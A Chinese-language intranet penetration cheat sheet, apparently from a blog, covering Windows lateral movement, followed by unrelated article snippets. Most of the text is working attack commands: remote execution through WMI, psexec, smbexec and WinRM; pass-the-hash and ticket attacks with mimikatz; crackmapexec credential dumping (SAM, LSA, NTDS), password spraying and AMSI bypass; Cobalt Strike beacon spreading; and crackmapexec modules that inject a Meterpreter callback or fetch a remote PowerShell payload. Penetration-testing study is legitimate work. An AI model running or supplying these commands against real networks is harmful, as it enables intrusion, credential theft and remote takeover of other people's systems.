内网渗透基础
内网
内网指的是内部局域网,常说的LAN(local area network)。常见家庭wifi网络和小型的企业网络,通常内部计算机直接访问路由器设备,路由器设备接入移动电信的光纤实现上网。

内部局域网可以通过交换机/防火墙组成多个网络(局域),多个局域之间进行访问控制。新概念(安全域)。

如专门存放服务器的统称为DMZ(非军事化区域),运维区,内网办公区等,常说的内网渗透就是在局域网内部渗透,内网渗透比较有难度的是域渗透。
KB2871997&KB2928120
微软在2014年发布了KB2871997和KB2928120两个补丁,用来阻止域内主机本地用户的网络登录,这样就无法以本地管理员的权限执行wmi、psexec、schtasks、at和文件访问共享,本地用户的PTH方式已经死掉,然而默认的Administrator(SID 500)这个账户仍可以进行PTH,并且在禁用NTLM的情况下,psexec无法进行远程连接,但是使用mimikatz可以攻击成功。
UNC路径
UNC路径代表通用命名约定路径(Universal Naming Convention),它是一种网络路径格式,用于标识在网络上共享的资源位置。UNC路径允许您在本地网络中访问远程共享。
UNC路径由两个反斜杠\,后跟远程计算机的名称或IP地址、可选的共享名称、可选的路径和文件名组成。例如:
\\ComputerName\ShareName\Path\FileName
其中ComputerName是远程计算机的名称或IP地址,ShareName是共享名称,在访问共享时需要使用该名称,Path是共享文件夹中的路径,FileName是所需文件的名称。
WMI
WMI(Windows management instrumentation)可以描述为管理Windows系统的方法和功能,我们可以把它当作API来与Win系统进行相互交流,WMI在渗透测试中的价值在于它不需要下载和安装,WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。
135端口
RPC:远程过程调用服务,WMIC(winsows management instrumentation)用到这个端口。

wmic具体用法如下:
# 打开一个计算器``wmic /node:ip /user:用户名 /password:密码 PROCESS call create "calc.exe"` ` ``#无回显``wmic /node:192.168.1.56 /user:administrator /password:aab+1s PROCESS call create "calc.exe"``wmic /node:192.168.1.56 /user:administrator /password:aab+1s process call create "cmd.exe /c ipconfig >C:\1.txt"
连接报错如下信息:

ip错了报如下信息:

密码填错报如下信息:

用另一台计算机尝试连接,正常访问,命令执行成功,wmic执行后无回显,需写入到文本文件中。


WMIEXEC
获取交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.56 administrator aab+1s

执行单条命令
cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.56 administrator aab+1s "cmdkey /list"

如上是提供了密码,如无密码,可以利用wce的hash注入,然后执行wmiexec就可以了。
wce –s 账号:主机名或域的名字:LM:NTLM`` ``cscript //nologo wmiexec.vbs /shell 192.168.0.1
如果抓取的LM hash是AAD3开头的,或者是No Password之类的,计用32个0代替LM hash
wmiexec.exe
wmiexec.exe ./administrator:aab+1s@192.168.1.56 "whoami"

hash传递
wmiexec.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/Administrator@192.168.10.173 "ipconfig"
https://github.com/rootclay/WMIHACKER/blob/master/README_zh.md
137,138,139端口
137、138为UDP端口,主要用于内网传输文件,NetBios/SMB服务的获取主要是通过139端口。
445端口
共享文件夹、共享打印机
ipc$
IPC$是共享“命名管道”的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问,从NT/2000开始使用。
IPC$在同一时间内,两个IP之间只允许建立一个连接。
NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或管理员目录(admin$)共享。
net use \\192.168.1.56\c$ "password" /user:"domain\username"``net use \\192.168.1.56\c$ "aab+1s" /user:administrator

另一台主机net use远程连接

扩展语法
net use \\192.168.1.56\c$`` ``# 删除ipc$连接``net use \\192.168.1.56\ipc$ /del`` ``# 将目标磁盘映射到本地``net use z: \\192.168.1.56\c$`` ``# 删除映射``net use z: /del`` ``# 关闭共享``net use ipc$ /del
ipc$空连接
横向渗透SMB(通过445端口)
利用SMB服务,需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。
psexec
net use \\192.168.1.56\c$ "aab+1s" /user:administrator`` ``PsExec.exe \\192.168.1.56 whoami`` ``.\PsExec.exe -u administrator -p 123456 \\dc01 cmd`` ``# 交互式shell(相同凭证可直接登录)``psexec -accepteula \\ip -s cmd.exe

执行原理
1.通过ipc$连接,释放psexecsvc.exe到目标 2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。 3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。 4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般不推荐使用psexec,推荐wmiexec
C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

cs - plugins
选中需横向的主机,jump-psexec64


选择一个认证,listen如果可出网,选择1,内网横向则用smb beacon2。
直接使用命令行。
jump [module] [target] [listener]``jump psexec64 192.168.10.173 local

通过psexec横向到目标机器,凭证用的是已知凭证去碰撞
此时整体拓扑如下,是父子关系,这是因为用的是http beacon直接连接teamserver,如果用smb beacon就是link关系。

换一下smb beacon

主机ip后面带有四个圆圈。

smb的箭头是黄色
https://www.cnblogs.com/sup3rman/p/12381874.html
SMBEXEC
明文传递
smbexec.exe administrator:aab+1s@192.168.10.173

hash传递
hash传递:``smbexec -hashes :$HASH$ admin@192.168.10.173``smbeexec -hashes :$HASH$ domain/admin@192.168.10.173
dump hash


atexec
- 批量
`FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文 连接` ` ``FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文 回显版` ` ``FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP 回显版` ` ``FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测 HASH 对应 IP 回显版`
PTH
域/工作组环境,内存中存在和当前机器相同的密码,在身份验证过程中,基本过程是从用户那里收集密码,然后对其进行加密,然后将正确密码的加密哈希用于将来的身份验证。
初次认证后,Windows 将哈希值保存在内存中,这样用户就不必一次又一次地输入密码。
在凭证转储期间,我们看到我们已经提取了大量的哈希值。现在作为攻击者,我们不知道密码。因此,在身份验证期间,我们提供哈希而不是密码。
Windows比较哈希值并热烈欢迎攻击者。简而言之,这就是 Pass-the-Hash 攻击。
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/
mimikatz - PTH
privilege::debug` `sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

弹出窗口后,连接共享端口,传输文件
# privilege::debug``# sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

拷贝文件

参考:内网渗透–Hash传递攻击
PTK
需要存在补丁kb2871997
`使用minikatz获取aes256_hmac:``sekurlsa::ekeys``传递连接:sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b`
PTT
`实现步骤:` `1、生成票据 kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c”` `2、导入票据 kerberos::ptt [TGT_haha@HSYY.COM_krbtgt](mailto:TGT_haha@HSYY.COM_krbtgt)~hsyy.com@GOD.ORG.kirbi` `3、查看凭证 klist` `4、利用 net use 载入 dir \192.168.213.163\c$`
smbclient
认证登录
- 明文
smbclient -L //192.168.10.173 -U Administrator
- hash
smbclient.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/Administrator@192.168.10.173

空会话枚举
smbclient -N -U "" -L \\192.168.1.214
rpcclient
`# rpcclient -U "" -N 10.10.10.161` `rpcclient $>enumdomusers`` ``# rpcclient -U corp.pentest.lab/administrator 10.10.10.161`
cme
https://mpgn.gitbook.io/crackmapexec/getting-started/installation/installation-on-windows
执行命令
crackmapexec smb 192.168.10.173 -u administrator -H 04cea78fa35a5be51f4aee6375651e8a -x ipconfig

powershell
#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
bypass ASMI
#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' --amsi-bypass /path/payload

cme网络扫描
crackmapexec smb 10.0.0.0/24

`crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --shares``crackmapexec smb 192.168.10.83 -u airs-win7 -p aab+1s --shares``crackmapexec smb 192.168.10.83 -u airs-win7 -H 04cea78fa35a5be51f4aee6375651e8a --shares`

枚举空会话
cme smb 10.10.10.161 -u '' -p ''``cme smb 10.10.10.161 --pass-pol``cme smb 10.10.10.161 --users``cme smb 10.10.10.161 --groups`` ``cme smb 10.10.10.178 -u 'a' -p '' -shares``cme smb 10.10.10.178 -u -p -shares`` ``# 以递归方式遍历所有共享s``crackmapexec smb -u -p -M spider_plus
凭证获取
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --sam` `crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --lsa``crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds``crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds vss
msf反弹shell

枚举远程目标上的活动会话
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions`` ``#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares
密码喷洒
使用空格指定多个用户名/密码
#~ cme smb 192.168.1.101 -u user1 user2 user3 -p Summer18``#~ cme smb 192.168.1.101 -u user1 -p password1 password2 password3
通过文本指定字典
#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18``#~ cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt
找到密码后继续爆破
#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success`` ``# 一对一爆破``#~ cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-succes
认证
- 域
User/Hash
获取凭证如下:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'``#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'``#~ cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'``#~ cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'
- 本地认证
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth``#~ cme smb 192.168.1.0/24 -u '' -p '' --local-auth``#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth``#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth``#~ cme smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth``#~ cme smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth
爆破结果后如下:
SMB 192.168.1.101 445 HOSTNAME [+] HOSTNAME\Username:Password (Pwn3d!)
winRM
#~ cme winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
# use the latest release, CME is now a binary packaged will all its dependencies``root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip`` ``# execute cme (smb, winrm, mssql, ...)``root@payload$ cme smb -L``root@payload$ cme smb -M name_module -o VAR=DATA``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares``root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable``root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443``root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"``root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'``root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz``root@payload$ cme mimikatz --server http --server-port 80
at、schtasks、
- at
windows版本<2012,高版本中使用schtasks命令
at [\computername] [[id] [/delete] | /delete [/yes]]``at [\computername] <time> [/interactive] [/every:date[,...] | /next:date[,...]] <command>
生成smb beacon

上传smb beacon文件

添加任务计划
shell at \\192.168.10.173 10:51 c:\local-smb.exe


已运行,无法反弹,smb shell的问题。
换成web beacon,成功反弹。

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/at
- schtasks
windows>=2012
schtasks create
创建任务对应执行文件
schtasks /create /sc <scheduletype> /tn <taskname> /tr <taskrun> [/s <computer> [/u [<domain>\]<user> [/p <password>]]] [/ru {[<domain>\]<user> | system}] [/rp <password>] [/mo <modifier>] [/d <day>[,<day>...] | *] [/m <month>[,<month>...]] [/i <idletime>] [/st <starttime>] [/ri <interval>] [{/et <endtime> | /du <duration>} [/k]] [/sd <startdate>] [/ed <enddate>] [/it] [/z] [/f]
schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\user.bat /F
schtasks run
执行文件任务
schtasks /run /s 192.168.213.163 /tn adduser /i
schtasks delete
删除执行文件任务
schtasks /delect /s 192.168.213.163 /tn adduser /f
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create
sharpwmi
.\sharpwmi.exe login 192.168.10.1/24 administrator aab+1s cmd whoami

cs报错
[-] Invoke_3 on EntryPoint failed.

nbtscan
通过IP扫描网络获取bios名称(计算机名)


bash$ sudo nbtscan -v -s : 192.168.1.0/24
- cs plugin

winRM
WinRM(windows远程管理)是WS管理协议的Microsoft实现,一种基于标准的SOAP协议,允许来自不同供应商的硬件和操作系统相互操作,能够对本地或远程的服务器进行管理,获得一个类似Telnet的交互式命令行shell,以便降低系统管理员复杂的操作。
端口: HTTP(5985) HTTPS SOAP(5986)
前提:凭证及权限
CS中有WinRM模块。

winrm:x86,通过WinRM来运行一个PowerShell脚本 winrm:x64,通过WinRM来运行一个PowerShell脚本
进入winrm64后,内容如下:

前提需要有认证,才可以横向进入,此处的认证获取可以通过内部撞库、历史RDP凭证等方式获取,内部撞库是拿已知的密码去尝试是否有复用密码,历史RDP凭证是如果管理员再内网通过3389登录后且记录了密码,可以通过获取历史RDP登录记录获取凭证。
如上图所示,已经拥有192.168.1.214的密码凭证,但不清楚192.168.1.55的凭证,此时可以尝试使用192.168.1.214的凭证。
监听器和会话按需选择,会话是当前的beacon。

尝试运行,报错了。
jump winrm64 192.168.1.55 test

查看服务器端口情况,未开启5985端口。

可通过winrm命令开启5985端口,windows server 2008默认winrm服务是启动的,但端口未开放,需要通过winrm quickconfig -q 或者 winrm qc开启端口。

- 开启winRM服务

重新查看端口开放情况,5985端口已打开。

- 开启防火墙或关闭防火墙命令
C:\Windows\system32>netsh advfirewall firewall set rule group="Windows 远程管理" new enable=yes
- 使用powershell连接服务器
需提前开启信任主机
PS C:\Users\Administrator> Set-Item wsman:\localhost\Client\TrustedHosts -value 192.168.1.* -Force``# 这个命令需要再客户端执行,而不是再服务端执行`` ``或者用下面的命令``winrm set winrm/config/client @{TrustedHosts="*"}`` ``PS C:\Users\Administrator> Enter-PSSession 192.168.1.55 -Credential administrator


输入凭证,连接成功。

或者
New-PSSession -ComputerName 192.168.1.55 -Credential (Get-Credential)``Enter-PSSession 1

通过CS操作
beacon> jump winrm64 192.168.1.55 test

成功返回shell

修复建议:
禁用WinRM
winrm delete winrm/config/listener?IPAdress=*+Transport=HTTP
- ⚠️ windows8、windows10、windows server 2012及以上系统,WinRM服务默认开启。
evil-winrm
GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting
WinRS
WinRS(Windows Remote Shell)是一种远程管理工具,用于在Windows远程服务器上运行命令行命令。WinRS使用WinRM(Windows Remote Management)协议向远程计算机发送命令行请求。 WinRS在Windows Server 2008及更高版本的操作系统中预安装,并且可以在Windows 7及更高版本的操作系统中启用。要使用WinRS,您必须在远程服务器上启用WinRM,并且在本地计算机上运行命令时必须使用管理员权限。
winrs -r:192.168.1.55 "cmd /c ipconfig"

# 端口复用下``winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s whoami``winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s cmd
DCOM
DCOM代表分布式组件对象模型(Distributed Component Object Model),它是一种Microsoft的分布式系统服务。它允许计算机上的应用程序通过网络连接和通信。DCOM使开发人员能够从远程计算机上执行代码,并使应用程序之间的通信更为容易和灵活。
PS C:\Users\Administrator> Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

PS C:\Users\Administrator> $a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.1.55"))`` ``PS C:\Users\Administrator> $a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")`` ``PS C:\Users\Administrator> Get-Content \\192.168.1.55\c$\fromdcom.txt``WIN-BVVD8VFVMPR

SCShell
GitHub - Mr-Un1k0d3r/SCShell: Fileless lateral movement tool that relies on ChangeServiceConfigA to run command
No445
GitHub - JDArmy/NO445-lateral-movement: command execute without 445 port
数据库命令执行
GitHub - 0x727/SqlKnife_0x727: 适合在命令行中使用的轻巧的SQL Server数据库安全检测工具
参考
https://www.redteam101.tech/offensive-security/lateral-movement/shi-yong-scshell-jin-hang-heng-xiang-yi-dong
https://github.com/BlWasp/CME_cheatSheet
https://mpgn.gitbook.io/crackmapexec/
https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/
https://www.hackingarticles.in/lateral-movement-over-pass-the-hash/
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/
http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/
https://www.cnblogs.com/gamewyd/p/6805595.html
https://www.cnblogs.com/zhengna/p/15309006.html
http://k8gege.org/Ladon/WinrmScan.html
https://cloud.tencent.com/developer/article/1937116

相关文章:
内网渗透基础
内网 内网指的是内部局域网,常说的LAN(local area network)。常见家庭wifi网络和小型的企业网络,通常内部计算机直接访问路由器设备,路由器设备接入移动电信的光纤实现上网。 内部局域网可以通过交换机/防火墙组成多个…...
【2023年网络安全优秀创新成果大赛专刊】银行数据安全解决方案(天空卫士)
在2023年网络安全优秀创新成果大赛,成都分站中,天空卫士银行数据安全方案获得优秀解决方案奖。与此同时,天空卫士受信息安全杂志邀请,编写《银行数据安全解决方案》。12月6日,天空卫士编写的《银行数据安全解决方案》做…...
嵌入式串口输入详细实例
学习目标 掌握串口初始化流程掌握串口输出单个字符掌握串口输出字符串掌握通过串口printf熟练掌握串口开发流程学习内容 需求 串口循环输出内容到PC机。 串口数据发送 添加Usart功能。 首先,选中Firmware,鼠标右键,点击Manage Project Items 接着,将gd32f4xx_usart.c添…...
springboot(ssm智慧生活商城系统 网上购物系统Java系统
springboot(ssm智慧生活商城系统 网上购物系统Java系统 开发语言:Java 框架:ssm/springboot vue JDK版本:JDK1.8(或11) 服务器:tomcat 数据库:mysql 5.7(或8.0) 数…...
Peter算法小课堂—贪心与二分
太戈编程655题 题目描述: 有n辆车大甩卖,第i辆车售价a[i]元。有m个人带着现金来申请购买,第i个到现场的人带的现金为b[i]元,只能买价格不超过其现金额的车子。你是大卖场总经理,希望将车和买家尽量多地进行一对一配对…...
搭建Vue前端项目的流程
1、安装nodejs 测试安装是否成功 $ npm -v 6.14.16 $ node -v v12.22.122、全局安装npm install -g vue/cli,后续会使用到vue命令 $ vue --version vue/cli 5.0.8使用vue create demo_project_fe命令创建项目,使用箭头键来选择,确认使用回车…...
1.使用 Blazor 利用 ASP.NET Core 生成第一个 Web 应用
参考 https://dotnet.microsoft.com/zh-cn/learn/aspnet/blazor-tutorial/create 1.使用vs2022创建新项目 选择 C# -> Windows -> Blzxor Server 应用模板 2.项目名称BlazorApp下一步 3.选择 .NET6.0 或 .NET7.0 或 .NET8.0 创建 4.运行BlazorApp 5.全部选择是。 信…...
如何入门 GPT 并快速跟上当前的大语言模型 LLM 进展?
入门GPT 首先说第一个问题:如何入门GPT模型? 最直接的方式当然是去阅读官方的论文。GPT模型从2018年的GPT-1到现在的GPT-4已经迭代了好几个版本,通过官方团队发表的论文是最能准确理清其发展脉络的途径,其中包括GPT模型本身和一…...
【pentaho】kettle读取Hive表不支持bigint和timstamp类型解决。
一、bigint类型 报错: Unable to get value BigNumber(16) from database resultset显示kettle认为此应该是decimal类型(kettle中是TYPE_BIGNUMBER或称BigNumber),但实际hive数据库中是big类型。 修改kettle源码解决: kettle中java.sql.Types到kettle…...
centos 8 部署nextCloud
参考链接: Example installation on CentOS 8 — Nextcloud latest Administration Manual latest documentation 第一次 在RHEL 9.2部署,部署完成后,上传任意文件提示: 与服务器断开链接 发生未知错误 第二次 计划在centos…...
vue3 element-plus 输入框 clearable属性 聚焦时宽度会变化
解决办法 因为你的代码中el-input是没有宽度的, 所以实际渲染出来的 el-input宽度 原生input宽度 前缀图标宽度 后缀图标宽度。 可以写css固定el-input宽度来处理。 :deep.el-input.el-input--default.el-input--suffix {// 固定宽度width: 200px !important; …...
【科技前沿】数字孪生技术改革智慧供热,换热站3D可视化引领未来
换热站作为供热系统不可或缺的一部分,其能源消耗对城市环保至关重要。在双碳目标下,供热企业可通过搭建智慧供热系统,实现供热方式的低碳、高效、智能化,从而减少碳排放和能源浪费。通过应用物联网、大数据等高新技术,…...
Vue.js 教程
Vue.js(读音 /vjuː/, 类似于 view) 是一套构建用户界面的渐进式框架。 Vue 只关注视图层, 采用自底向上增量开发的设计。 Vue 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件。 阅读本教程前,您需要了解的…...
听GPT 讲Rust源代码--src/tools(21)
File: rust/src/tools/miri/src/shims/x86/mod.rs 在Rust的源代码中,rust/src/tools/miri/src/shims/x86/mod.rs文件的作用是为对x86平台的处理提供支持。它包含一些用于模拟硬件操作的shim函数和相关的类型定义。 具体来说,该文件中的函数是通过使用一组…...
OpenCV | 告别人工目检:深度学习技术引领工业品缺陷检测新时代
文章目录 机器视觉缺陷检测工业上常见缺陷检测方法内容简介作者简介目录读者对象如何阅读本书获取方式 机器视觉 机器视觉是使用各种工业相机,结合传感器跟电气信号实现替代传统人工,完成对象识别、计数、测量、缺陷检测、引导定位与抓取等任务。其中工…...
Inkscape SVG 编辑器 导入 Gazebo
概述 本教程描述了拉伸 SVG 文件的过程,这些文件是 2D 的 图像,用于在 Gazebo 中为您的模型创建 3D 网格。有时是 更容易在 Inkscape 或 Illustrator 等程序中设计模型的一部分。 在开始之前,请确保您熟悉模型编辑器。 本教程将向您展示如…...
基于比较的排序算法总结(java实现版)
目录 什么是基于比较的排序算法 什么是排序算法的稳定性 基础排序算法的稳定性 插入排序法 希尔排序法 冒泡排序法 总结 高级算法的稳定性 快速排序法 堆排序法 归并排序法 总结 注意 什么是基于比较的排序算法 基于比较的排序算法定义:之所以能给元素…...
集群与分布式的概念及区别
目前在工作中经常接触到集群的概念,通过这篇文章总结一下集群的几种方式以及和分布式对比学习 1.集群(Cluster) 集群是由多个计算机节点组成的网络,旨在共同提供服务,并确保高性能和高可用性。在高可用集群中…...
基于ssm+vue的在线听书网站论文
摘 要 传统信息的管理大部分依赖于管理人员的手工登记与管理,然而,随着近些年信息技术的迅猛发展,让许多比较老套的信息管理模式进行了更新迭代,书籍信息因为其管理内容繁杂,管理数量繁多导致手工进行处理不能满足广大…...
hive命令启动出现classnotfound
环境:ambari集群三个节点node104、node105和node106,其中node105上有hiveserver2,并且三个节点均有HIVE CLIENT 注意:“./”指hive安装目录 其中装有hiveserver2的node105节点,由于某种需要向lib目录下上传了某些jar包…...
利用ngx_stream_return_module构建简易 TCP/UDP 响应网关
一、模块概述 ngx_stream_return_module 提供了一个极简的指令: return <value>;在收到客户端连接后,立即将 <value> 写回并关闭连接。<value> 支持内嵌文本和内置变量(如 $time_iso8601、$remote_addr 等)&a…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
cf2117E
原题链接:https://codeforces.com/contest/2117/problem/E 题目背景: 给定两个数组a,b,可以执行多次以下操作:选择 i (1 < i < n - 1),并设置 或,也可以在执行上述操作前执行一次删除任意 和 。求…...
【算法训练营Day07】字符串part1
文章目录 反转字符串反转字符串II替换数字 反转字符串 题目链接:344. 反转字符串 双指针法,两个指针的元素直接调转即可 class Solution {public void reverseString(char[] s) {int head 0;int end s.length - 1;while(head < end) {char temp …...
新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案
随着新能源汽车的快速普及,充电桩作为核心配套设施,其安全性与可靠性备受关注。然而,在高温、高负荷运行环境下,充电桩的散热问题与消防安全隐患日益凸显,成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...
IT供电系统绝缘监测及故障定位解决方案
随着新能源的快速发展,光伏电站、储能系统及充电设备已广泛应用于现代能源网络。在光伏领域,IT供电系统凭借其持续供电性好、安全性高等优势成为光伏首选,但在长期运行中,例如老化、潮湿、隐裂、机械损伤等问题会影响光伏板绝缘层…...
selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...
有限自动机到正规文法转换器v1.0
1 项目简介 这是一个功能强大的有限自动机(Finite Automaton, FA)到正规文法(Regular Grammar)转换器,它配备了一个直观且完整的图形用户界面,使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...
OPENCV形态学基础之二腐蚀
一.腐蚀的原理 (图1) 数学表达式:dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一,腐蚀跟膨胀属于反向操作,膨胀是把图像图像变大,而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...
【Go语言基础【12】】指针:声明、取地址、解引用
文章目录 零、概述:指针 vs. 引用(类比其他语言)一、指针基础概念二、指针声明与初始化三、指针操作符1. &:取地址(拿到内存地址)2. *:解引用(拿到值) 四、空指针&am…...
